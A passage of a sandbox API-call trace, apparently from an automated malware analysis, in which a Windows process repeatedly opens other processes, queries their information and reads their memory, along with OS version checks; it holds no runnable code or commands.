lpBaseAddress=0x30e020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0169.445] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4b12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0169.445] malloc (_Size=0x70) returned 0x196ef0d31b0 [0169.445] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4b1960, lpBuffer=0x196ef0d31b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0169.446] free (_Block=0x196ef0d31b0) [0169.446] CloseHandle (hObject=0x26c) returned 1 [0169.457] _ui64tow_s (in: _Value=0xea4, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3748") returned 0x0 [0169.462] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3748") returned 4 [0169.463] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0169.463] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0169.578] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xea4) returned 0x26c [0169.579] GetLastError () returned 0x0 [0169.579] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0169.579] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2a8018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0169.579] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0169.580] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4e1cf0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0169.580] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4e18f8, lpBuffer=0x670ffc3f0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0169.581] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0169.582] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0169.582] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2a8020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0169.583] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4e12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0169.583] malloc (_Size=0x72) returned 0x196ef0d31b0 [0169.583] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4e1962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0169.584] free (_Block=0x196ef0d31b0) [0169.585] CloseHandle (hObject=0x26c) returned 1 [0169.586] _ui64tow_s (in: _Value=0xeac, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3756") returned 0x0 [0169.591] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3756") returned 4 [0169.593] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0169.593] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0169.666] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xeac) returned 0x26c [0169.666] GetLastError () returned 0x0 [0169.666] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0169.666] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3af018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0169.667] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0169.667] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x461ca0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0169.667] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4618f8, lpBuffer=0x670ffc3f0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0169.668] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0169.670] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0169.670] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3af020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0169.670] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4612e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0169.670] malloc (_Size=0x5a) returned 0x196ef0d0450 [0169.670] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x46194a, lpBuffer=0x196ef0d0450, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0450*, lpNumberOfBytesRead=0x0) returned 1 [0169.671] free (_Block=0x196ef0d0450) [0169.672] CloseHandle (hObject=0x26c) returned 1 [0169.674] _ui64tow_s (in: _Value=0xec4, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3780") returned 0x0 [0169.680] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3780") returned 4 [0169.683] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0169.683] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0169.705] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xec4) returned 0x26c [0169.705] GetLastError () returned 0x0 [0169.705] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0169.706] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3de018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0169.706] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0169.706] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x501cd0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0169.706] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5018f8, lpBuffer=0x670ffc3f0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0169.708] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0169.709] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0169.709] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3de020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0169.710] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5012e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0169.710] malloc (_Size=0x66) returned 0x196ef0d0530 [0169.710] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x501956, lpBuffer=0x196ef0d0530, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0530*, lpNumberOfBytesRead=0x0) returned 1 [0169.711] free (_Block=0x196ef0d0530) [0169.712] CloseHandle (hObject=0x26c) returned 1 [0169.903] _ui64tow_s (in: _Value=0xecc, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3788") returned 0x0 [0169.908] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3788") returned 4 [0169.910] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0169.910] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0169.930] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xecc) returned 0x26c [0169.930] GetLastError () returned 0x0 [0169.930] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0169.930] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x290018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0169.975] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0169.977] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x441cf0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0169.977] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4418f8, lpBuffer=0x670ffc3f0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0169.979] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0169.981] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0169.981] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x290020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0169.981] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4412e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0169.981] malloc (_Size=0x74) returned 0x196ef0d31b0 [0169.981] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x441964, lpBuffer=0x196ef0d31b0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0169.983] free (_Block=0x196ef0d31b0) [0169.984] CloseHandle (hObject=0x26c) returned 1 [0169.985] _ui64tow_s (in: _Value=0xedc, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3804") returned 0x0 [0169.992] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3804") returned 4 [0169.993] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0169.993] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0170.063] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xedc) returned 0x26c [0170.063] GetLastError () returned 0x0 [0170.064] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0170.064] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2d2018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0170.064] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0170.064] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x481c70, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0170.064] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4818f8, lpBuffer=0x670ffc3f0, nSize=0x42, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0170.065] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0170.066] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0170.066] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2d2020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0170.066] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4812e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0170.066] malloc (_Size=0x4a) returned 0x196ef0d5b40 [0170.066] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x48193a, lpBuffer=0x196ef0d5b40, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d5b40*, lpNumberOfBytesRead=0x0) returned 1 [0170.067] free (_Block=0x196ef0d5b40) [0170.067] CloseHandle (hObject=0x26c) returned 1 [0170.068] _ui64tow_s (in: _Value=0xee4, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3812") returned 0x0 [0170.072] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3812") returned 4 [0170.073] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0170.073] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0170.088] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee4) returned 0x26c [0170.088] GetLastError () returned 0x0 [0170.089] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0170.089] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2e6018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0170.089] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0170.089] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x491cc0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0170.089] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4918f8, lpBuffer=0x670ffc3f0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0170.090] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0170.091] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0170.091] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2e6020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0170.091] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4912e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0170.091] malloc (_Size=0x64) returned 0x196ef0d0610 [0170.091] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x491954, lpBuffer=0x196ef0d0610, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0610*, lpNumberOfBytesRead=0x0) returned 1 [0170.092] free (_Block=0x196ef0d0610) [0170.092] CloseHandle (hObject=0x26c) returned 1 [0170.093] _ui64tow_s (in: _Value=0xef4, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3828") returned 0x0 [0170.097] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3828") returned 4 [0170.098] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0170.098] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0170.207] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xef4) returned 0x26c [0170.207] GetLastError () returned 0x0 [0170.207] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0170.207] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3ed018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0170.207] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0170.208] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x511cd0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0170.208] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5118f8, lpBuffer=0x670ffc3f0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0170.209] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0170.210] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0170.210] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3ed020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0170.211] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5112e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0170.211] malloc (_Size=0x68) returned 0x196ef0d03e0 [0170.211] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x511958, lpBuffer=0x196ef0d03e0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0170.212] free (_Block=0x196ef0d03e0) [0170.213] CloseHandle (hObject=0x26c) returned 1 [0170.213] _ui64tow_s (in: _Value=0xefc, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3836") returned 0x0 [0170.218] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3836") returned 4 [0170.219] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0170.219] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0170.298] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xefc) returned 0x26c [0170.298] GetLastError () returned 0x0 [0170.298] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0170.298] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x252018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0170.298] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0170.298] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4a1d30, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0170.299] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4a18f8, lpBuffer=0x670ffc3f0, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, 